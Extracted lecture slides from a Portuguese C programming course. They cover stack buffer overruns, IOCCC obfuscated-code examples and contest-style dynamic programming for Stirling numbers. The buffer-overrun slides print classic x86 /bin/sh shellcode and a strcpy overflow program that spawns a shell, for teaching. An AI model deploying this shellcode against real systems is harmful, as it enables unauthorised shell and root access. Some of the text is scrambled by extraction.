x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);

/* instrucao nao executada... */

Num Pentium recente o resultado escrito 0...


IAED 2007/2008 p.540/569

Buffer Overruns Explicao


STACK FRAME
0xbfae4875

char buffer2[10]

10 byte

char buffer1[5]

5 byte

0xbfae487f

variveis
locais

0xbfae4884

0xbfae488d
0xbfae4890
0xbfae4894
0xbfae4898

8 byte

return address

4 byte

int a

4 byte

int b

4 byte

int c

4 byte

endereo
de retorno

parmetros
da funo

IAED 2007/2008 p.541/569

Acesso a Shell
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

IAED 2007/2008 p.542/569

Buffer Overrun com Acesso a Shell


char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
IAED 2007/2008 p.543/569

Buffer Overruns
possvel efectuar o overflow de outro programa e
executar um nosso que nos d uma shell
possvel conseguir executar uma shell como root

IAED 2007/2008 p.544/569

IOCCC
International Obfuscated C Code Contest
Exemplos de cdigo imperceptvel, com
funcionalidade complexa
Pssimos exemplos de qualidade da programao;
mas bons exemplos das potencialidades do C (e dos
programadores!)

IAED 2007/2008 p.545/569

Exemplo I Maze
#define r return
char*u0="<RET> to begin... ",*u1="Already been here!",*u2="Found a wall! \
",*u3="Walking...
",*u4="Finished.
",*u5="Going back..\
.
",*o="\033[23;1HDone!!\n",*x="\033[2J",*y="\033[1;1H",*z="\033[%d;%\
dH%c",*w="\033[1;1H%s",*v="\033[%d;%dH%c\033[%d;%dH%c\033[%d;%dH%c",
b[1841];int c,d,e,f,g;typedef int(*h)();h i,j,k,l,m,n;int printf(),
srand(),rand(),time(),getchar();int main(int a){i=printf,j=srand,
k=rand,l=time,m=getchar,n=main;if(!c)for(j(l(0)),g=a=1000,--d;++d<1840;
b[c=d]=" #\n"[d%80==79?2:d/80&&d%80&&d/80-22&&d%80-78]);if(!(c-1839))++c,
i("%s%s%s",x,y,b);k:if(!(c-1840)&&(b[a+2]+b[a-2]+b[a+160]+
b[a-160]-4* )){while(b[a+(f=(e=k()%4)?e-1?e-2?-1:1:-80:80)*2]!=
#);b[a]=b[a+f]=b[f+a+f]= ;i(v,a/80+1,1+a%80, ,(a+f)/80+1,1+
(a+f)%80, ,(f+a+f)/80+1,1+(f+a+f)%80, );n(f+a+f);goto k;}
else if(!(g-a))c=1,a=162,i(w,u0),m();if(c-1){}else r b[a]!= ?
(i(w,b[a]==.?u1:u2),0):(b[a]=.,i(w,u3),i(z,a/80+1,1+a%80,.),
a==1676?(i(w,u4),i(o),1):n(a+1)||n(a+80)||n(a-80)||n(a-1)?1:
(b[a]= ,i(w,u5),i(z,a/80+1,1+a%80, ),0));r 0;}

IAED 2007/2008 p.546/569

Exemplo II Factoriais
#include <stdio.h>
#define l11l 0xFFFF
#define ll1 for
#define ll111 if
#define l1l1 unsigned
#define l111 struct
#define lll11 short
#define ll11l long
#define ll1ll putchar
#define l1l1l(l) l=malloc(sizeof(l111 llll1));l->lll1l=1-1;l->ll1l1=1-1;
#define l1ll1 *lllll++=l1ll%10000;l1ll/=10000;
#define l1lll ll111(!l1->lll1l){l1l1l(l1->lll1l);l1->lll1l->ll1l1=l1;}\
lllll=(l1=l1->lll1l)->lll;ll=1-1;
#define llll 1000

IAED 2007/2008 p.547/569

Exemplo II Factoriais
lll1l,*ll1l1
;l1l1
llll];};main
(){l111 llll1
l1, *ll1l, *
malloc ( ) ; l1l1
ll11l l11,ll ,l;l1l1 lll11 *lll1,*
=1-1 ;l< 14; ll1ll("\t\"8)>l\"9!.)>vl"
);scanf("%d",&l);l1l1l(l1l) l1l1l(ll11
lll[l1l->lll[1-1]
=1]=l11l;ll1(l11
++l11){l1=ll11;
lll1 = (ll1l=(
lll; lllll =(
l1l=l1)->lll;
);ll1(;ll1l->
lll1l||l11l!=
+=l11**lll1++
;l1ll1 ll111
l1lll lll1=(
ll1l =ll1l->
}}ll1(;l1ll;
){l1ll1 ll111
{ l1lll} } *
lllll=l11l;}
ll1(l=(ll=11);(l<llll)&&
(l1->lll[ l]
!=l11l);++l);
l1->ll1l1,l=
llll){ll1(--l
++ll)printf(
(ll)?((ll%19)
19,"\n%04d")
):"%4d",l1->

l111 llll1 {
l111 llll1 *
lll11 lll [
*ll11,*l1l,*
ll11l l1ll ;
lllll; ll1(l
[l]L),++l
) (l1=l1l)->
=1+1;l11<=l;
ll11=l1l))->
ll=(l1ll=1-1
*lll1;){l1ll
(++ll>llll){
lll1l)->lll;
(++ll>=llll)

ll1 (;l1;l1=
;l>=1-1;--l,
?"%04d":(ll=
IAED 2007/2008 p.548/569
lll[l] ) ; }

Exemplo III Jogo do Galo

#define O B F U S C A T E D
#define I 8;}t(p){r(p?W:o);XClearWindow(V,m);}main(i,f)char**f;{M((T(h=f),
#define K Y(o,XMapRaised(V,e);)x=3;x--;)for(y=3;y--;r(G))XMapRaised(V,R[D]
#define N z(x+i,(z(H-x-i,x),x)))x<i||z(x-i,x)|z(H-x+i,x)Y(W,)l=k;l>20&&l>x
#define XIMOfIC Z;XID(*w)()=XCreateWindow,m,e,o[2],W[2],G[2],R[2][O]);}GC*g
#define E (++D)));}r(XID*z){XSetWindowBackgroundPixmap(V=d[D],m=R[D][x][y],z[
#define L ;XStoreName(V,e=w(V,RootWindow(V,s),0,0,152,152,2,0,1,0,0,0),"II"+D
#define B 3][3];Display*V,*d[2];char**h,k=25,b[2500],H=50,D,s,x,y,i;T(){float
#define S +k),z(k-P=w(V,e,H*x,H*y,H,H,1,0,1,0,2048,&c));}XEvent J;M(){XFlush(
#define Y(z,y) ;for(z[D]=XCreatePixmapFromBitmapData(Q,x=0,H*H);x<H;x++)y for(
#define A x][y]&&!b[x+k*y]++?t(D),t(!(D=1)):D);M();}z(x,y){b[x/8+y*7]|=1<<x%I
#define P x,y)-z(y,x+k)+z(y,k-x)*z(x+k,y=H-y),z(k-x,y),z(y,k-x),z(y,k+x)K[x][y
#define Q V,e,b,H,H,BlackPixel(V,s),WhitePixel(V,s),DefaultDepth(V,s)),memset(
#define C d[!D]);x=3;for(XNextEvent(V,&J);x--;)for(y=3;y--;J.xany.window==R[D]
#define F l;XSetWindowAttributes c;s=XDefaultScreen(V=d[D]=XOpenDisplay(*(h+=!
#define U *h)))L)Y(G,)i=c.event_mask=4;i--;x+i>H||N;l-=.5)z(x+k,y=sqrt(l*l-x*x
#include <math.h>
#include <X11/Xlib.h>

IAED 2007/2008 p.549/569

Concursos de Programao
XP@IST:
Permite seleccionar equipas do IST para participar na
MIUP / SWERC
MIUP:
Maratona Inter-Universitria de Programao
SWERC:
ACM Southwestern Europe Programming Contest
ICPC: [http://icpc.baylor.edu/icpc]
ACM International Collegiate Programming Contest

IAED 2007/2008 p.550/569

Concursos de Programao Estrutura


k problemas de programao em m horas:
SWERC: 9 problemas em 5 horas
Cerca de 1/2 hora por problema...
Complexidade de cada problema semelhante
complexidade de alguns dos projectos de IAED...

IAED 2007/2008 p.551/569

Exemplos
Determinar se mpar o nmero de maneiras
de particionar um conjunto de n elements em m
subconjuntos no vazios.
Problema:

Nmeros de Stirling de Segundo Tipo:


S(n, m) = nmero de maneiras de particionar um
conjunto de n elements em m subconjuntos no
vazios
S(n, m) = m S(n 1, m) + S(n 1, m 1), 1 < m < n.
Pretende-se calcular S(n, m) mod 2,
1 m n 1000000000.
Exemplo: S(4, 2) = 1

IAED 2007/2008 p.552/569

Soluo Recursiva
#define odd(x) ((x)&1)
extern int stir(int, int);
int main(int argc, char **argv)
{
int n, m;
if (argc < 3) { exit(0); }
n = atoi(argv[1]);
m = atoi(argv[2]);
printf("%d %d %d\n", n, m, odd(stir(n,m)));
}
int stir(int
{
if (m < 1)
if (m == n
return m *
}

n, int m)
return 0;
|| m == 1 || n <= 1) return 1;
stir(n - 1, m) + stir(n - 1, m - 1);

IAED 2007/2008 p.553/569

Desempenho da Soluo Recursiva...


(n, m) Tempo
(30,10)
0.4
(30,20)
0.8
(40,10)
9.0
(40,20)
>100
(50,10)
85.2
(50,20)
>100
(10000,500) >1000
(10000,1000) >1000
(10000,2000) >1000

IAED 2007/2008 p.554/569

Soluo Tabular Motivao


S(4,3) = 3*S(3,3) + S(3,2)
S(3,3) = 3*S(2,3) + S(2,2)
S(2,3) = 3*S(1,3) + S(1,2)
S(1,3) = 3*S(0,3) + S(0,2)
S(0,3) = 0
S(0,2) = 0
S(1,2) = 2*S(0,2) + S(0,1)
S(0,2) = 0
S(0,1) = 0
S(2,2) = 2*S(1,2) + S(1,1)
S(1,2) = 2*S(0,2) + S(0,1)
S(0,2) = 0
S(0,1) = 0
S(1,1) = 1*S(0,1) + S(0,0)
S(0,1) = 0
S(0,0) = 0
S(3,2) = 2*S(2,2) + S(2,1)
...

IAED 2007/2008 p.555/569

Soluo Tabular I
#include <stdio.h>
#include <stdlib.h>
#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab;
int main(int argc, char **argv)
{
int n, m;
if (argc < 3) { exit(0); }
n = atoi(argv[1]);
m = atoi(argv[2]);
partab = (int*) malloc((n+1)*(m+1)*sizeof(int));
if (partab == NULL) { exit(1); }
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
}
IAED 2007/2008 p.556/569

Soluo Tabular I
int compute_odd_stirling(int n, int m)
{
int i, j, tog = 1, minim;
for (i = 0; i <= n; i++) {
*(partab + i*(m+1) + 0) = 0;
*(partab + i*(m+1) + 1) = 1;
}
for (i = 2; i <= n; i++) {
minim = min(i, m);
for (j = 2; j <= minim; j++)
*(partab + i*(m+1) + j) =
j * *(partab + (i-1)*(m+1) + j) + *(partab + (i-1)*(m+1) + j-1);
}
return odd(*(partab + n*(m+1) + m));
}

IAED 2007/2008 p.557/569

Avaliao Experimental
(n, m) Verso 1
(10000,500)
0.0
(10000,1000)
0.1
(10000,2000)
0.4
(100000,1000)
1.1
(100000,5000) mem out
(100000,10000) mem out
(100000,20000) mem out
(1000000,10000) mem out
(1000000,50000) mem out
(1000000,100000) mem out

IAED 2007/2008 p.558/569

Soluo Tabular II
#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab[2];
int main(int argc, char **argv)
{
int n, m;
if (argc < 3) { exit(0); }
n = atoi(argv[1]);
m = atoi(argv[2]);
partab[0] = (int*) malloc((n+1)*sizeof(int));
partab[1] = (int*) malloc((n+1)*sizeof(int));
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
}

IAED 2007/2008 p.559/569

Soluo Tabular II
int compute_odd_stirling(int n, int m)
{
int i, j, tog = 0, minim;
partab[0][0] = 0;
partab[0][1] = 1;
for (i = 2; i <= n; i++) {
tog = 1-tog;
minim = min(i,m);
partab[tog][1] = 1;
for (j = 2; j <= minim; j++)
if (odd(j))
partab[tog][j] = odd((partab[1-tog][j] + partab[1-tog][j-1]));
else
partab[tog][j] = partab[1-tog][j-1];
}
return partab[tog][m];
}

IAED 2007/2008 p.560/569

Soluo Tabular III


#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab[2];
int main(int argc, char **argv)
{
int n, m;
if (argc < 3) { exit(0); }
n = atoi(argv[1]);
m = atoi(argv[2]);
partab[0] = (int*) malloc((n+1)*sizeof(int));
partab[1] = (int*) malloc((n+1)*sizeof(int));
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
}

IAED 2007/2008 p.561/569

Soluo Tabular III


int compute_odd_stirling(int n, int m)
{
int i, j, tog = 0, minim;
partab[0][0] = 0;
partab[0][1] = 1;
for (i = 2; i <= n-m+1; i++) {
tog = 1-tog;
minim = min(i,m);
partab[tog][1] = 1;
for (j = 2; j <= minim; j++)
if (odd(j))
partab[tog][j] = odd((partab[1-tog][j] + partab[1-tog][j-1]));
else
partab[tog][j] = partab[1-tog][j-1];
}

...
IAED 2007/2008 p.562/569

Soluo Tabular III


(cont.)
for (i = n-m+2; i <= n; i++) {
tog = 1-tog;
minim = min(i,m);
for (j = i+m-n; j <= minim; j++)
if (odd(j))
partab[tog][j] = odd((partab[1-tog][j] + partab[1-tog][j-1]));
else
partab[tog][j] = partab[1-tog][j-1];
}
return partab[tog][m];
}

IAED 2007/2008 p.563/569

Avaliao Experimental
(n, m) Verso 1 Verso 2 Verso 3
(10000,500)
0.0
0.0
0.0
(10000,1000)
0.1
0.1
0.1
(10000,2000)
0.4
0.1
0.1
(100000,1000)
1.1
0.5
0.5
(100000,5000) mem out
2.4
2.5
(100000,10000) mem out
4.9
4.3
(100000,20000) mem out
9.2
7.9
(1000000,10000) mem out
50.6
47.1
(1000000,50000) mem out
328.6
320.2
(1000000,100000) mem out
641.4
608.0
(1000000,200000) mem out
>1000
>1000
IAED 2007/2008 p.564/569

Soluo Tabular IV
#define odd(x) ((x)&1)
#define even(x) (1-((x)&1))
#define min(x,y) (((x)<=(y))?(x):(y))
extern int compute_odd_stirling(int, int);
int *partab0, *partab1;
int main(int argc, char **argv)
{
int n, m;
if (argc < 3) { exit(0); }
n = atoi(argv[1]);
m = atoi(argv[2]);
partab0 = (int*) malloc((n+1)*sizeof(int));
partab1 = (int*) malloc((n+1)*sizeof(int));
printf("%d %d %d\n", n, m, compute_odd_stirling(n, m));
}
IAED 2007/2008 p.565/569

Soluo Tabular IV
int compute_odd_stirling(int n, int m)
{
int i, j, tog = 0, minim;
partab0[0] = 0; partab0[1] = 1;
for (i = 2; i <= n; i++) {
tog = 1-tog;
minim = min(i,m);
if (tog) {
partab1[1] = 1;
for (j = 2; j <= minim; j++)
partab1[j] = odd(j) ? odd((partab0[j]+partab0[j-1])) : partab0[j-1];
}
else {
partab0[1] = 1;
for (j = 2; j <= minim; j++)
partab0[j] = odd(j) ? odd((partab1[j]+partab1[j-1])) : partab1[j-1];
}
}
return (tog) ? partab1[m] : partab0[m];
}
IAED 2007/2008 p.566/569

Avaliao Experimental
(n, m) Verso 2 Verso 4
(10000,500)
0.0
0.0
(10000,1000)
0.1
0.1
(10000,2000)
0.1
0.1
(100000,1000)
0.5
0.5
(100000,5000)
2.4
2.4
(100000,10000)
4.9
4.7
(100000,20000)
9.2
8.2
(1000000,10000)
50.6
49.8
(1000000,50000)
328.6
306.5
(1000000,100000)
641.4
580.2
(1000000,200000)
>1000
>1000
IAED 2007/2008 p.567/569

Alguns Links
Buffer overruns
http://www.phrack.org/show.php?p=49&a=14
http://www.phrack.org/
http://www.shemesh.biz/lectures.html
IOCCC
http://www.ioccc.org/
Concursos de Programao
MIUP02: http://miup2002.fc.ul.pt/
SWERC01 & SWERC02: http://swerc.up.pt/
Coleces de problemas:
acm.uva.es/problemset
www.acm.inf.ethz.ch/ProblemSetArchive.html
IAED 2007/2008 p.568/569

IAED 2007/2008 p.569/569

Você também pode gostar